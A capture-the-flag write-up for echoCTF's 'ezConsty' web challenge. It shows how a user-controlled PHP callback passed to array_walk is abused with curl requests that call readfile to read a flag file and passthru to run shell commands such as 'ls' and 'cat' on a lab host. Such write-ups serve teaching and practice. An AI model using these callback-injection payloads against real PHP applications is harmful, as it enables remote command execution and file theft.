echoCTF ezConsty Writeup: PHP Callback Injection via array_walk
Challenge Info
- Platform: echoCTF
- Category: Web Security
- Difficulty: CTF Playground
- Description: "callback challenge ezConsty..."
- Challenge link: https://echoctf.red/target/97
Walkthrough
Step 1:
Initial recon. Visiting the site without supplying a callback parameter dumps the PHP source code:
Key observations:
- The function to be executed is controlled through
$_GET['callback'] array_walk()runs the callback against every POST parameter- It includes
/app/echoctf.php
Step 2:
Understanding how array_walk works. Let's probe the behaviour of array_walk:
curl -X POST "http://10.0.14.31/?callback=var_dump" \
-d "test=123"
Output:
string(3) "123" # $value (the POST value)
string(4) "test" # $key (the POST key)
bool(true) # array_walk return value
Takeaway: array_walk($_POST, 'callback') calls callback($value, $key).
Step 3:
Reading the hidden file with readfile. Now that the mechanism is clear, we use PHP's readfile() function to read the file:
curl -X POST "http://10.0.14.31/?callback=readfile" \
-d "test=/app/echoctf.php"
Success:
<?php define("ETSCTF_DEFINE_FLAG","ETSCTF_REDACTED");
bool(true)
Flag captured!
Step 4: Exploring other approaches
Method 2: running system commands with passthru
First, check whether there are any files in the current directory:
curl -X POST "http://10.0.14.31/?callback=passthru" \
-d "id=ls"
We find echoctf.php, so read it directly:
curl -X POST "http://10.0.14.31/?callback=passthru" \
-d "id=cat echoctf.php"
This outputs the same FLAG content.
Key Takeaways
- Callback Injection vulnerability: never let a user control the name of the function being called
- How array_walk passes arguments:
- It calls
callback($value, $key) - The POST value becomes the first argument, the key becomes the second
- It calls
Lessons Learned
A few things I picked up while solving this:
PHP functions vs. Linux commands
readfileis a built-in PHP function that reads a file directly- To run Linux commands you need something like
system(),exec(), orpassthru()
Debugging tip. Start with a simple function to figure out how arguments are passed:
# Test the argument order
curl -X POST "http://10.0.14.31/?callback=var_dump" -d "key=value"
# Output
string(5) "value"
string(3) "key"
bool(true)In short, this challenge neatly combines PHP callback injection with the quirks of array_walk. It taught me the finer details of how PHP passes function arguments, as well as how different functions expect different numbers of arguments.
Member discussion